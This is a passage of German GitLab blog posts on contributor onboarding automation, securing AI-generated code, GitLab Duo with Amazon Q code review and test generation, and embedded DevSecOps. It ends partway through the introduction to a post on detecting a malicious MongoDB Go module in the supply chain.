Unsere erste Iteration war etwas langsam. Nach dem Start des Onboarding-Prozesses fragten sich Mitwirkende, was als Nächstes zu tun ist, während die geplante Pipeline bis zu 5 Minuten brauchte, um ihr Onboarding-Issue zu erstellen. Fünf Minuten fühlen sich wie eine Ewigkeit an, wenn du den Schwung hast, einzutauchen.

Niklas, ein Mitglied unseres Core Teams, entwickelte eine Lösung. Er fügte Webhook-Events für Zugangsanfragen und benutzerdefinierte Payload-Templates für Webhooks hinzu.

Diese Funktionen ermöglichten es uns gemeinsam, eine Pipeline sofort auszulösen, anstatt auf den Zeitplan zu warten. Das reduziert die Zeit auf etwa 40 Sekunden (die Zeit, die die CI-Pipeline zum Ausführen benötigt) und generiert das Onboarding-Issue sofort. Es spart auch Tausende verschwendeter Pipelines und Compute-Minuten, wenn tatsächlich keine Zugangsanfragen verarbeitet werden müssen.

Wir richteten ein Pipeline-Trigger-Token ein und nutzten dies als Ziel für den Webhook, wobei wir die gewünschten Umgebungsvariablen übergaben:

{
  "ref": "main",
  "variables": {
    "EXECUTE_ACCESS_REQUESTS": "1",
    "DRY_RUN": "0",
    "PIPELINE_NAME": "Create onboarding issues",
    "GROUP_ID": "{{group_id}}",
    "EVENT_NAME": "{{event_name}}"
  }
}

Wir automatisierten Nachfassaktionen

Mit einem steigenden Volumen von Kunden und Community-Mitwirkenden, die in die GitLab-Community einsteigen, hatten Maintainer Schwierigkeiten nachzuvollziehen, welche Issues Aufmerksamkeit benötigten, und einige Nachfragen gingen verloren.

Wir bauten eine Automatisierung auf, die Webhooks und Ruby nutzt, um Issues zu kennzeichnen, die von Community-Mitgliedern aktualisiert wurden. Dies schafft ein klares Signal des Issue-Status für Maintainer.

GitLab Triage stupst automatisch inaktive Onboarding-Issues an, um sicherzustellen, dass wir die Dynamik der Mitwirkenden aufrechterhalten.

Wir organisierten die Issue-Verfolgung mit GLQL

Wir bauten eine GLQL-Ansicht, um Issues im Blick zu behalten. Diese GLQL-Tabelle fasst Onboarding-Issues zusammen, die Aufmerksamkeit benötigen, damit Maintainer sie überprüfen und mit Community-Mitgliedern nachfassen können.

Diese GLQL-Ansichten verbesserten unsere gesamte Triage-Effizienz. Es war so erfolgreich, dass wir diese Strategie auch bei den Programmen GitLab for Open Source und GitLab for Education anwendeten. Mit GLQL-Tabellen für Support-Issues senkten diese Community-Programme ihre Antwortzeiten um 75%.

Wir machten die README auffindbar

Die @gitlab-community-Gruppe ist das Zuhause für Mitwirkende auf GitLab.com. Wir hatten bereits eine README.md-Datei, die die Community Forks und den Onboarding-Prozess erklärte, aber diese Datei befand sich in unserem Meta-Projekt. Mit unserer Folgestudie entdeckten wir, dass dies ein Verwirrungspunkt für Neulinge war, wenn ihre Onboarding-Issues unter einem anderen Projekt waren.

Wir nutzten GitLabs Projekt-Spiegelung, um dies zu lösen und spiegelten das Meta-Projekt zu gitlab-profile. Dies machte die bestehende README-Datei auf Gruppenebene sichtbar und erleichterte die Entdeckung.

Die Ergebnisse sprechen für sich selbst

Durch das Dogfooding von GitLab verbesserten wir die in unseren Forschungsstudien gefundenen Stolpersteine und transformierten die GitLab-Mitwirkenden-Journey. Wir haben die Anzahl der Kunden und Community-Mitglieder erhöht, die zu GitLab beitragen, Funktionen zum Produkt hinzufügen, Fehler beheben und zu unserem CI/CD-Katalog beitragen.

Unser Onboarding-Prozess hat die Rate erhöht, mit der Neulinge der Community beitreten, und unsere Gesamtzahl der Mitwirkenden in den Community Forks hat sich in den letzten 9 Monaten verdoppelt.

Wir reduzierten die Zeit, die Neulinge für ihren ersten Beitrag benötigen, indem wir sie schneller mit Maintainern verbinden und sie beim Einstieg unterstützen. Wir nutzen GitLabs Value Stream Analytics, um unsere Antwortzeiten zu verfolgen.

Die erste Antwortzeit von Community-Maintainern liegt in den letzten 3 Monaten bei 46 Minuten
Die durchschnittliche Genehmigungszeit für den Zugang zu Community Forks liegt in den letzten 3 Monaten bei 1 Stunde

Die 100%-ige Erfolgsquote unserer Nutzerstudie 2025 bestätigte diese Verbesserungen für unsere Erstmitwirkenden.

Wir investierten Zeiteinsparungen in die Anerkennung von Mitwirkenden

Die Behebung dieser Neueinsteiger-Herausforderungen ermöglichte uns mehr Kapazität, uns auf eine bessere Anerkennung von Mitwirkenden zu konzentrieren und Erstmitwirkende zu motivieren, wiederzukommen. Das Ergebnis ist contributors.gitlab.com. Wir haben einen zentralen Hub für unsere Mitwirkenden aufgebaut, der gamifizierte Bestenlisten, Erfolge und Belohnungen bietet. Mitwirkende können ihre Wirkung sehen, Fortschritte verfolgen und in der Community wachsen.

Was wir gelernt haben teilen

Diese Verbesserungen funktionieren und sind für andere Open-Source-Projekte wiederholbar. Wir teilen unseren Ansatz über Communities und Konferenzen hinweg, damit andere Projekte in Betracht ziehen können, diese Tools zum Wachstum zu nutzen.

Wenn mehr Organisationen die Teilnahmebarrieren kennenlernen, können wir eine einladendere Open-Source-Umgebung schaffen. Mit diesen GitLab-Tools können wir sowohl Mitwirkenden als auch Maintainern eine reibungslosere Erfahrung bieten. Wir sind entschlossen, diese Arbeit voranzutreiben und zusammenzuarbeiten, um Barrieren für Open-Source-Projekte überall zu beseitigen.

Das Gespräch beginnen

Möchtest du mehr darüber erfahren, wie du deine Mitwirkenden-Community wachsen lassen kannst? Sende eine E-Mail an contributors@gitlab.com oder öffne ein Issue, um eine Diskussion zu beginnen. Wir sind hier, um beim Aufbau von Communities zu helfen.

3 Best Practices für die Softwareentwicklung im Zeitalter von LLMs

2025-07-10T00:00:00.000Z

KI ist rasant zu einem Kernbestandteil der modernen Softwareentwicklung geworden. Sie hilft Entwickler(innen) nicht nur dabei, schneller als je zuvor zu programmieren, sondern automatisiert auch Low-Level-Aufgaben wie das Schreiben von Testfällen oder das Zusammenfassen von Dokumentationen. Laut unserer 2024 Global DevSecOps Survey nutzen bereits 81 % der Entwickler(innen) KI in ihren Workflows oder planen dies in den nächsten zwei Jahren.

Da Code mit weniger manuellem Aufwand geschrieben wird, beobachten wir eine subtile, aber wichtige Verhaltensänderung: Entwickler(innen) beginnen, KI-generiertem Code mit weniger Prüfung zu vertrauen. Dieses Vertrauen – so verständlich es auch sein mag – kann stillschweigend Sicherheitsrisiken einführen, insbesondere wenn das Gesamtvolumen des Codes zunimmt. Von Entwickler(innen) kann nicht erwartet werden, dass sie über jede Schwachstelle oder jeden Exploit auf dem Laufenden bleiben. Deshalb brauchen wir Systeme und Sicherheitsvorkehrungen, die mit ihnen skalieren. KI-Tools sind gekommen, um zu bleiben. Als Sicherheitsexperten ist es daher die Pflicht, Entwickler(innen) zu befähigen, diese so zu übernehmen, dass sowohl Geschwindigkeit als auch Sicherheit verbessert werden.

Hier sind drei praktische Wege, dies zu erreichen.

Niemals vertrauen, immer verifizieren

Wie bereits erwähnt, beginnen Entwickler(innen), KI-generiertem Code bereitwilliger zu vertrauen, besonders wenn er sauber aussieht und fehlerfrei kompiliert. Um dem entgegenzuwirken, sollte eine Zero-Trust-Mentalität angenommen werden. Während oft über Zero Trust im Kontext von Identitäts- und Zugriffsmanagement gesprochen wird, kann dasselbe Prinzip hier mit einem etwas anderen Rahmen angewendet werden. KI-generierten Code wie Input von einem Junior-Entwickler behandeln: hilfreich, aber nicht produktionsreif ohne ordnungsgemäße Überprüfung.

Entwickler(innen) sollten erklären können, was der Code tut und warum er sicher ist, bevor er gemergt wird. Die Überprüfung von KI-generiertem Code könnte sich sogar als eine aufkommende Fähigkeit herausstellen, die in der Welt der Softwareentwicklung erforderlich ist. Die Entwickler(innen), die darin hervorragend sind, werden unverzichtbar sein, weil sie die Geschwindigkeit von LLMs mit der Denkweise zur Risikominderung verbinden, um sicheren Code schneller zu produzieren.

Hier können Tools wie GitLab Duo Code Review helfen. Als Feature unseres KI-Begleiters über den gesamten Softwareentwicklungszyklus hinweg bringt es KI in den Code-Review-Prozess – nicht um menschliches Urteilsvermögen zu ersetzen, sondern um es zu verbessern. Durch das Aufzeigen von Fragen, Inkonsistenzen und übersehenen Problemen in den Merge Requests kann KI Entwickler(innen) dabei helfen, mit genau der KI Schritt zu halten, die Entwicklungszyklen beschleunigt.

Prompts für sichere Muster

Large Language Models (LLMs) sind leistungsfähig, aber nur so präzise wie die ihnen gegebenen Prompts. Deshalb wird Prompt Engineering zu einem Kernbestandteil der Arbeit mit KI-Tools. In der Welt der LLMs ist die Eingabe die Schnittstelle. Entwickler(innen), die lernen, klare, sicherheitsbewusste Prompts zu schreiben, werden eine Schlüsselrolle beim Aufbau sichererer Software von Anfang an spielen.

Beispielsweise führen vage Anfragen wie „baue ein Login-Formular" oft zu unsicheren oder zu vereinfachten Ergebnissen. Durch die Einbeziehung von mehr Kontext, wie „baue ein Login-Formular mit Eingabevalidierung, Rate Limiting und Hashing, und unterstütze Phishing-resistente Authentifizierungsmethoden wie Passkeys", ist es wahrscheinlicher, dass eine Ausgabe produziert wird, die den Sicherheitsstandards der Organisation entspricht.

Aktuelle Forschung von Backlash Security unterstützt dies. Sie fanden heraus, dass sicheres Prompting die Ergebnisse bei beliebten LLMs verbesserte. Wenn Entwickler(innen) die Modelle einfach baten, „sicheren Code zu schreiben", blieben die Erfolgsraten niedrig. Wenn jedoch Prompts auf OWASP Best Practices verwiesen, stieg die Rate der sicheren Code-Generierung.

Prompt Engineering sollte Teil dessen sein, wie Security Champions innerhalb von Entwicklungsteams geschult und befähigt werden. Genau wie sichere Coding-Muster und Threat Modeling gelehrt werden, sollte Entwickler(innen) auch beigebracht werden, wie KI-Tools mit derselben Sicherheitsdenkweise geleitet werden.

Erfahre mehr mit diesen hilfreichen Prompt-Engineering-Tipps.

Alles scannen, keine Ausnahmen

Der Aufstieg der KI bedeutet, dass mehr Code schneller mit der gleichen Anzahl von Menschen geschrieben wird. Diese Verschiebung sollte die Denkweise über Sicherheit ändern – nicht nur als abschließende Überprüfung, sondern als ständig aktive Schutzmaßnahme, die in jeden Aspekt des Entwicklungsprozesses eingewoben ist.

Mehr Code bedeutet eine größere Angriffsfläche. Und wenn dieser Code teilweise oder vollständig generiert ist, können wir uns nicht allein auf sichere Coding-Praktiken oder individuelle Intuition verlassen, um Risiken zu erkennen. Hier kommt automatisiertes Scannen ins Spiel. Static Application Security Testing (SAST), Software Composition Analysis (SCA) und Secret Detection werden zu kritischen Kontrollen, um das Risiko von Secret Leaks, Supply-Chain-Angriffen und Schwachstellen wie SQL-Injections zu mindern. Mit Plattformen wie GitLab ist Application Security nativ in den Workflow der Entwickler(innen) integriert, was sie zu einem natürlichen Teil des Entwicklungslebenszyklus macht. Scanner können auch durch das gesamte Programm verfolgen, um sicherzustellen, dass neuer KI-generierter Code sicher ist im Kontext des gesamten anderen Codes – das kann schwer zu erkennen sein, wenn nur neuer Code in der IDE oder in einem KI-generierten Patch betrachtet wird.

Aber es geht nicht nur ums Scannen, es geht darum, Schritt zu halten. Wenn Entwicklungsteams mit der Geschwindigkeit der KI-unterstützten Entwicklung mithalten wollen, brauchen sie Scans, die schnell, genau und auf Skalierung ausgelegt sind. Genauigkeit ist besonders wichtig. Wenn Scanner Entwickler(innen) mit False Positives überwältigen, besteht das Risiko, das Vertrauen in das System insgesamt zu verlieren.

Der einzige Weg, schnell zu agieren und sicher zu bleiben, ist, das Scannen nicht verhandelbar zu machen.

Jeder Commit. Jeder Branch. Keine Ausnahmen.

Sicherer KI-generierter Code mit GitLab

KI verändert die Art und Weise, wie Software entwickelt wird, aber die Grundlagen der sicheren Softwareentwicklung gelten weiterhin. Code muss immer noch überprüft werden. Bedrohungen müssen immer noch getestet werden. Und Sicherheit muss immer noch in die Arbeitsweise eingebettet sein. Bei GitLab haben wir genau das getan.

Als Entwicklerplattform schrauben wir Sicherheit nicht an den Workflow – wir betten sie direkt dort ein, wo Entwickler(innen) bereits arbeiten: in der IDE, in Merge Requests und in der Pipeline. Scans laufen automatisch und relevanter Sicherheitskontext wird angezeigt, um schnellere Behebungszyklen zu ermöglichen. Und da es Teil derselben Plattform ist, auf der Entwickler(innen) Software erstellen, testen und bereitstellen, gibt es weniger Tools zu jonglieren, weniger Kontextwechsel und einen viel reibungsloseren Weg zu sicherem Code.

KI-Funktionen wie Duo Vulnerability Explanation und Vulnerability Resolution fügen eine weitere Ebene von Geschwindigkeit und Einblick hinzu und helfen Entwickler(innen), Risiken zu verstehen und sie schneller zu beheben, ohne ihren Flow zu unterbrechen.

KI ist keine Abkürzung zur Sicherheit. Aber mit den richtigen Praktiken – und einer Plattform, die Entwickler(innen) dort abholt, wo sie sind – kann sie absolut Teil des Aufbaus von Software sein, die schnell, sicher und skalierbar ist.

Starte deine kostenlose 60-tägige Testversion von GitLab Ultimate mit Duo Enterprise und erlebe, wie es ist, sichere Software schneller zu entwickeln. Mit nativer Sicherheitsprüfung, KI-gestützten Einblicken und einer nahtlosen Entwicklererfahrung hilft GitLab dabei, Sicherheit nach links zu verschieben, ohne zu verlangsamen.

Von Tagen zu Sekunden: So revolutioniert /q review deine Code Reviews

2025-07-08T00:00:00.000Z

Code Reviews sind wichtig, um Bugs zu finden, die Lesbarkeit des Codes zu verbessern und Programmierstandards einzuhalten, aber sie können auch zu einem großen Engpass in deinem Workflow führen. Wenn du versuchst, Features schnell zu veröffentlichen, kann es ziemlich frustrierend sein, auf andere Teammitglieder zu warten, die deinen Code überprüfen. Langwierige Diskussionen, Terminkonflikte und die Zeit, die es braucht, um alle Beteiligten auf einen Nenner zu bringen, können eine einfache Review über Tage oder sogar Wochen in die Länge ziehen.

Hier kommt GitLab Duo mit Amazon Q, unser neues Angebot, das AWS-Kund(inn)en agentenbasierte KI während des gesamten Software-Entwicklungsprozesses zur Verfügung stellt, ins Spiel, um deinen Review-Prozess zu transformieren.

Diese intelligente, KI-gestützte Lösung kann umfassende Code Reviews für dich durchführen, und das in einem Bruchteil der Zeit, die deine menschlichen Kolleg(inn)en dafür benötigen würden. Durch die Nutzung fortschrittlicher agentischer KI-Funktionen optimiert GitLab Duo mit Amazon Q deinen gesamten Review-Workflow, ohne dass du dabei Abstriche bei der Qualität und Gründlichkeit machen musst. Stell dir vor, es gäbe jemanden, der immer zur Verfügung steht, deinen Code sofort analysiert und dir umsetzbares Feedback gibt.

So funktioniert’s: Einen Code Review starten

Wie funktioniert GitLab Duo mit Amazon Q eigentlich? Angenommen, du hast gerade die Arbeit an einem Feature abgeschlossen und einen Merge Request mit mehreren Code-Updates erstellt. Traditionell würdest du deine Teammitglieder anschreiben und auf ihre Verfügbarkeit warten. Mit GitLab Duo mit Amazon Q gibst du einfach einen kurzen Befehl in den Kommentarbereich ein: „/q review“. Das war’s – mit diesen beiden Worten tritt die KI in Aktion.

Sobald du den Befehl eingegeben hast, beginnt der Amazon-Q-Service sofort mit der Analyse deiner Codeänderungen. Du erhältst eine Bestätigung, dass die Review läuft, und in kürzester Zeit prüft die KI jede Zeile deiner Änderungen auf mögliche Probleme in verschiedenen Bereichen.

Nach Abschluss der Review erhältst du ein umfassendes Feedback, das alle Bereiche abdeckt: Fehlererkennung, Verbesserungen der Lesbarkeit, Syntaxfehler und die Einhaltung der Programmierstandards deines Teams. Die KI weist nicht nur auf Probleme hin, sondern liefert auch den Kontext und Vorschläge für deren Behebung, sodass du leicht verstehen kannst, worauf du achten musst und warum.

Das Schöne an diesem agentenbasierten KI-Ansatz ist, dass er dir die mühselige Arbeit der Code Review abnimmt, während du dich auf das konzentrieren kannst, was am wichtigsten ist: die Entwicklung großartiger Software.

Du profitierst von den Vorteilen gründlicher Code Reviews – bessere Fehlererkennung, konsistente Programmierstandards und verbesserte Codequalität – ohne den Zeitaufwand. Deine Bereitstellungszeiten verkürzen sich drastisch, weil du nicht mehr in Review-Warteschlangen steckst, und dein gesamtes Team wird produktiver.

Warum solltest du GitLab Duo mit Amazon Q verwenden?

GitLab Duo mit Amazon Q verändert deinen Entwicklungsworkflow auf folgende Weise:

Blitzschnelle Code Reviews, die keine Kompromisse bei der Qualität eingehen
Konsistente Anwendung von Programmierstandards in deiner gesamten Codebase
Sofortiges Feedback, das dir hilft, Fehler zu beheben, bevor sie in die Produktion gelangen
Kürzere Bereitstellungszeiten, damit du Funktionen schneller bereitstellen kannst
Mehr Zeit für dein Team, sich auf kreative Problemlösungen zu konzentrieren, statt auf sich wiederholende Reviews

Bist du bereit, diese neue Funktion in Aktion zu erleben? Sieh dir an, wie GitLab Duo mit Amazon Q deinen Code-Review-Prozess revolutionieren kann:

Besuche uns auf einem der bevorstehenden AWS Summits in einer Stadt in deiner Nähe oder wende dich an deine(n) GitLab-Vertreter(in), um mehr über GitLab Duo mit Amazon Q zu erfahren.

Und nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über unsere Pläne für agentische KI und mehr zu erfahren. Registriere dich noch heute!

Anwendungsqualität mit KI-gestützter Testgenerierung verbessern

2025-07-03T00:00:00.000Z

Du weißt, wie entscheidend die Anwendungsqualität für deine Kund(inn)en und deinen Ruf ist. Allerdings kann es sich wie ein ständiger Kampf anfühlen, diese Qualität durch umfassende Tests sicherzustellen. Du hast es mit zeitaufwendigen manuellen Prozessen zu tun, inkonsistenter Testabdeckung im Team und diesen lästigen Problemen, die irgendwie durchrutschen. Es ist frustrierend, wenn deine Bewertung sinkt, weil die Qualitätssicherung eher zu einem Engpass als zu einem Schutzschild wird.

Hier kann GitLab Duo mit Amazon Q, das agentische KI im gesamten Softwareentwicklungslebenszyklus für AWS-Kund(inn)en bereitstellt, deinen QA-Prozess transformieren. Diese KI-gestützte Funktion kann automatisch umfassende Unit-Tests für deinen Code generieren und deinen Qualitätssicherungs-Workflow dramatisch beschleunigen. Anstatt Stunden damit zu verbringen, Tests manuell zu schreiben, kannst du die KI deinen Code analysieren und Tests erstellen lassen, die optimale Abdeckung und konsistente Qualität über deine gesamte Anwendung hinweg gewährleisten.

Wie GitLab Duo mit Amazon Q funktioniert

Wie funktioniert das also? Lass uns gemeinsam durch den Prozess gehen. Wenn du an einem neuen Feature arbeitest, beginnst du damit, die Java-Klasse auszuwählen, die du über einen Merge Request zu deinem Projekt hinzugefügt hast. Du navigierst einfach zu deinem Merge Request und klickst auf den Tab „Änderungen", um den neuen Code zu sehen, den du hinzugefügt hast.

Als Nächstes rufst du Amazon Q auf, indem du einen Quick-Action-Befehl eingibst. Alles, was du tun musst, ist /q test in das Issue-Kommentarfeld einzugeben. So einfach ist das – nur ein Schrägstrich, der Buchstabe „q" und das Wort „test".

Sobald du Enter drückst, wird Amazon Q aktiv. Es analysiert deinen ausgewählten Code und versteht dessen Struktur, Logik und Zweck. Die KI untersucht deine Klassenmethoden, Abhängigkeiten und potenzielle Randfälle, um zu bestimmen, welche Tests benötigt werden.

Innerhalb weniger Augenblicke generiert Amazon Q eine umfassende Unit-Test-Abdeckung für deine neue Klasse. Es erstellt Tests, die nicht nur den Happy Path abdecken, sondern auch Randfälle und Fehlerbedingungen, die du möglicherweise übersehen hättest. Die generierten Tests folgen den bestehenden Mustern und Konventionen deines Projekts und stellen sicher, dass sie sich nahtlos in deine Codebasis integrieren.

Warum GitLab Duo mit Amazon Q verwenden?

Hier ist das Fazit: Du hast mit einer kritischen Herausforderung begonnen – hochwertige Anwendungen zu pflegen und dabei mit Zeitbeschränkungen und inkonsistenten Testpraktiken umzugehen. GitLab Duo mit Amazon Q löst dies, indem es den Testgenerierungsprozess automatisiert und optimale Code-Abdeckung sowie konsistente Teststandards gewährleistet. Das Ergebnis? Probleme werden vor der Bereitstellung erkannt, deine Anwendungen behalten ihre Qualität und du kannst Software schneller entwickeln, ohne die Zuverlässigkeit zu opfern.

Hauptvorteile dieser Funktion:

Reduziert die Zeit für das Schreiben von Unit-Tests erheblich
Gewährleistet umfassende Testabdeckung über deine gesamte Codebasis
Hält konsistente Testqualität über alle Teammitglieder hinweg aufrecht
Erkennt Probleme, bevor sie die Produktion erreichen
Beschleunigt deine gesamte Entwicklungsgeschwindigkeit

Bereit, diese bahnbrechende Funktion in Aktion zu sehen? Sieh dir an, wie GitLab Duo mit Amazon Q deinen Qualitätssicherungsprozess transformieren kann:

Starte noch heute mit GitLab Duo mit Amazon Q

Möchtest du mehr über GitLab Duo mit Amazon Q erfahren? Besuche die GitLab und AWS Partnerseite für detaillierte Informationen.

Agentische KI-Ressourcen

Warum jetzt die Zeit für Embedded DevSecOps ist

2025-07-03T00:00:00.000Z

Für Embedded-Systeme-Teams schien DevSecOps traditionell eher ein Ansatz für SaaS-Anwendungen als für die Firmware-Entwicklung zu sein. Aber das ändert sich. Software ist jetzt ein primärer Differenzierungsfaktor bei Hardwareprodukten. Neue Erwartungen der Marktteilnehmer erfordern moderne Entwicklungspraktiken. Als Reaktion darauf verfolgen Unternehmen "Embedded DevSecOps".

Was ist Embedded DevSecOps? Die Anwendung kollaborativer Engineering-Praktiken, integrierter Toolchains und Automatisierung für das Erstellen, Testen und Sichern von Software auf die Entwicklung eingebetteter Systeme. Embedded DevSecOps umfasst notwendige Anpassungen für die Hardware-Integration.

Drei Marktkräfte, welche die Embedded-Entwicklung revolutionieren

Drei mächtige Marktkräfte konvergieren und zwingen Embedded-Teams dazu, ihre Entwicklungspraktiken zu modernisieren.

1. Software wird zum primären Differenzierungsfaktor

Produkte, die einst hauptsächlich durch ihre Hardware definiert wurden, unterscheiden sich jetzt durch ihre Softwarefähigkeiten. Der Markt für softwaredefinierte Fahrzeuge (SDV) erzählt in dieser Hinsicht eine überzeugende Geschichte. Er wird voraussichtlich von 213,5 Milliarden US-Dollar im Jahr 2024 auf 1,24 Billionen US-Dollar (Artikel auf Englisch) bis 2030 wachsen – eine massive jährliche Wachstumsrate von 34%.

Der Softwareanteil in diesen Produkten wächst erheblich. Bis Ende 2025 wird erwartet, dass das durchschnittliche Fahrzeug 650 Millionen Codezeilen (Artikel auf Englisch) enthält. Traditionelle Embedded-Entwicklungsansätze können diese Softwarekomplexität nicht bewältigen.

2. Hardware-Virtualisierung ermöglicht neue Arbeitsweisen

Hardware-Virtualisierung ist ein wichtiger technischer Enabler für Embedded DevSecOps. Virtuelle elektronische Steuergeräte (vECUs), Cloud-basierte ARM-CPUs und anspruchsvolle Simulationsumgebungen werden immer verbreiteter. Virtuelle Hardware ermöglicht Tests, die einst physische Hardware erforderten.

Diese Virtualisierungstechnologien bieten eine Grundlage für Continuous Integration (CI). Aber ihr Wert wird nur vollständig realisiert, wenn sie in einen automatisierten Workflow integriert sind. In Kombination mit kollaborativen Entwicklungspraktiken und automatisierten Pipelines helfen virtuelle Tests den Teams, Probleme viel früher zu erkennen, wenn Korrekturen noch viel kostengünstiger sind. Ohne Embedded-DevSecOps-Praktiken und Tools zur Orchestrierung dieser virtuellen Ressourcen können Unternehmen den Virtualisierungstrend nicht nutzen.

3. Der Wettbewerbsdruck steigt exponentiell

Drei miteinander verbundene Kräfte gestalten die Wettbewerbslandschaft für die Embedded-Entwicklung neu:

Der Kampf um die größten Talente hat sich entscheidend verschoben. Wie ein Embedded-Systems-Leader bei einem GitLab-Kunden erklärte: "Kein Embedded-Ingenieur, der heute vom College kommt, kennt Legacy-Tools wie Perforce. Sie kennen Git. Diese jungen Ingenieure arbeiten sechs Monate in einem Unternehmen mit Legacy-Tools und kündigen dann." Unternehmen, die veraltete Tools verwenden, könnten ihre technische Zukunft verlieren.
Dieser Vorsprung durch die besten Talente führt zu Wettbewerbsvorteilen. Technologieorientierte Unternehmen, die Top-Ingenieure mit modernen Praktiken anziehen, erzielen bemerkenswerte Ergebnisse. Beispielsweise führte SpaceX (Artikel auf Englisch) im Jahr 2024 mehr Orbitalstarts durch als der Rest der Welt zusammen. Technologieorientierte Unternehmen zeichnen sich durch Softwareentwicklung aus und haben eine moderne Entwicklungskultur. Dies schafft unter anderem Effizienzen, die Legacy-Unternehmen nur schwer erreichen können.
Die steigenden Kosten der Embedded-Entwicklung – getrieben durch lange Feedback-Zyklen – schaffen einen dringenden Bedarf an Embedded DevSecOps. Wenn Entwickler(innen) wochenlang warten müssen, um Code auf Hardware-Testbänken zu testen, bleibt die Produktivität von Natur aus niedrig. Ingenieur(innen) verlieren den Kontext und müssen den Kontext wechseln, wenn die Ergebnisse eintreffen. Das Problem verschlimmert sich, wenn Fehler ins Spiel kommen. Bugs werden teurer zu beheben, je später sie entdeckt werden. Lange Feedback-Zyklen vergrößern dieses Problem in eingebetteten Systemen.

Unternehmen setzen Embedded DevSecOps ein, um diese Herausforderungen zu bewältigen.

So setzen führende Unternehmen Embedded DevSecOps um

Basierend auf diesen Marktkräften implementieren zukunftsorientierte Embedded-Systems-Leader Embedded DevSecOps auf folgende Weise.

Hardware-Tests automatisieren und beschleunigen

Hardware-Test-Engpässe stellen eine der bedeutendsten Einschränkungen in der traditionellen Embedded-Entwicklung dar. Diese Verzögerungen schaffen die zuvor beschriebene ungünstige Wirtschaftlichkeit – wenn Entwickler(innen) wochenlang auf Hardware-Zugriff warten, steigen die Fehlerkosten spiralförmig an.

Die Bewältigung dieser Herausforderung erfordert einen facettenreichen Ansatz, einschließlich:

Automatisierung der Orchestrierung teurer gemeinsam genutzter Hardware-Testbänke unter Embedded-Entwickler(inne)n
Integration sowohl von SIL (Software-in-the-Loop) als auch HIL (Hardware-in-the-Loop) Tests in automatisierte CI-Pipelines
Standardisierung von Builds mit versionskontrollierten Umgebungen

Embedded-Entwickler(innen) können dies mit GitLabs On-Premises Device Cloud (Seite auf Englisch) erreichen, einer CI/CD-Komponente. Durch die Automatisierung der Orchestrierung von Firmware-Tests auf virtueller und realer Hardware sind Teams besser positioniert, um Feedback-Zyklen von Wochen auf Stunden zu reduzieren. Sie können auch mehr Bugs früh im Software-Entwicklungslebenszyklus erkennen.

Automatisierung von Compliance und Security Governance

Eingebettete Systeme unterliegen strengen regulatorischen Anforderungen. Manuelle Compliance-Prozesse sind nicht nachhaltig.

Führende Unternehmen transformieren die Art und Weise, wie sie diese Anforderungen erfüllen, durch:

Ersetzen manueller Workflows durch automatisierte Compliance-Frameworks
Integration spezialisierter Funktionssicherheits-, Sicherheits- und Code-Qualitäts-Tools in automatisierte Continuous-Integration-Pipelines
Automatisierung von Genehmigungsworkflows, Durchsetzung von Code-Reviews und Pflege von Audit-Trails
Konfiguration von Compliance-Frameworks für spezifische Standards wie ISO 26262 oder DO-178C

Dieser Ansatz ermöglicht eine höhere Compliance-Reife ohne zusätzliches Personal – was einst eine Last war, wird zu einem Wettbewerbsvorteil. Ein führender Hersteller von Elektrofahrzeugen (EV) führt mit GitLab täglich 120.000 CI/CD-Jobs aus, von denen viele Compliance-Prüfungen beinhalten. Und sie können Fehlerbehebungen innerhalb einer Stunde nach der Entdeckung beheben und in Fahrzeuge bereitstellen. Dieses Maß an Skalierung und Geschwindigkeit wäre ohne automatisierte Compliance-Workflows extrem schwierig.

Compliance-Prozesse in CI/CD-Pipelines integrieren

Historisch gesehen haben Embedded-Entwickler(innen) aus berechtigten geschäftlichen und technischen Gründen weitgehend allein an ihren Schreibtischen gearbeitet. Die Zusammenarbeit war begrenzt. Innovative Unternehmen durchbrechen diese Barrieren, indem sie gemeinsame Code-Sichtbarkeit durch integrierte Source-Control- und CI/CD-Workflows ermöglichen. Diese modernen Praktiken ziehen Ingenieur(innen) an und halten sie, während sie Innovationen freischalten, die in isolierten Workflows verborgen bleiben würden.

Wie ein Director of DevOps bei einem technologieorientierten Automobilhersteller (ein GitLab-Kunde) erklärt: "Es ist wirklich entscheidend für uns, eine einzige Übersicht zu haben, auf die wir schauen und die Status sehen können. Die Entwickler(innen) sind sich beim Einbringen eines Merge Requests des Status eines bestimmten Workflows bewusst, um sich so schnell wie möglich zu bewegen." Diese Transparenz beschleunigt die Innovation und ermöglicht es Automobilherstellern, schnell auf Softwarefunktionen zu iterieren, die ihre Fahrzeuge in einem zunehmend wettbewerbsintensiven Markt differenzieren.

Silos aufbrechen durch kollaborative Entwicklung

Embedded-Systems-Leader haben ein klares Zeitfenster, um durch die DevSecOps-Einführung einen Wettbewerbsvorteil zu erlangen. Aber das Fenster wird nicht für immer offen bleiben. Software wird weiterhin zum primären Differenzierungsfaktor in eingebetteten Produkten, und die Kluft zwischen Leadern und Nachzüglern wird nur größer werden.

Unternehmen, die DevSecOps erfolgreich einführen, werden Kosten senken, die Markteinführungszeit beschleunigen und Innovationen freischalten, die sie auf dem Markt differenzieren. Die Embedded-Systems-Leader von morgen sind diejenigen, die heute DevSecOps annehmen.

Während dieser Artikel untersuchte, warum jetzt die kritische Zeit für Embedded-Teams ist, DevSecOps einzuführen, fragst du dich vielleicht nach den praktischen Schritten für den Einstieg. Erfahre, wie du diese Konzepte mit unserem Leitfaden in die Praxis umsetzen kannst: 4 Wege zur Beschleunigung der Embedded-Entwicklung mit GitLab (Artikel auf Englisch).

GitLab entdeckt MongoDB Go-Modul Supply-Chain-Angriff

2025-06-30T00:00:00.000Z

Software-Supply-Chain-Angriffe über bösartige Abhängigkeiten gehören weiterhin zu den bedeutendsten Sicherheitsbedrohungen für die moderne Softwareentwicklung. Die weit verbreitete Nutzung von Open-Source-Komponenten hat es Entwicklungsteams ermöglicht, Anwendungen schnell zu erstellen, aber auch die Angriffsfläche vergrößert. Das wachsende Ökosystem von Drittanbieter-Paketen bietet zahlreiche Möglichkeiten für Angreifer, Abhängigkeiten durch Techniken wie Typosquatting, Dependency Confusion und Paket-Impersonation auszunutzen, was es für Entwickler(innen) zunehmend schwieriger macht, legitime Pakete von bösartigen Nachahmungen zu unterscheiden.

Um diese Herausforderung anzugehen, hat das Vulnerability Research Team von GitLab kürzlich ein automatisiertes Erkennungssystem entwickelt, das proaktiv bösartige Abhängigkeiten in Software-Supply-Chains identifizieren soll. Das System kombiniert mehrere Erkennungstechniken, die zusammenarbeiten:

Automatisierte Typosquatting-Erkennung, die verdächtige Namensmuster identifiziert
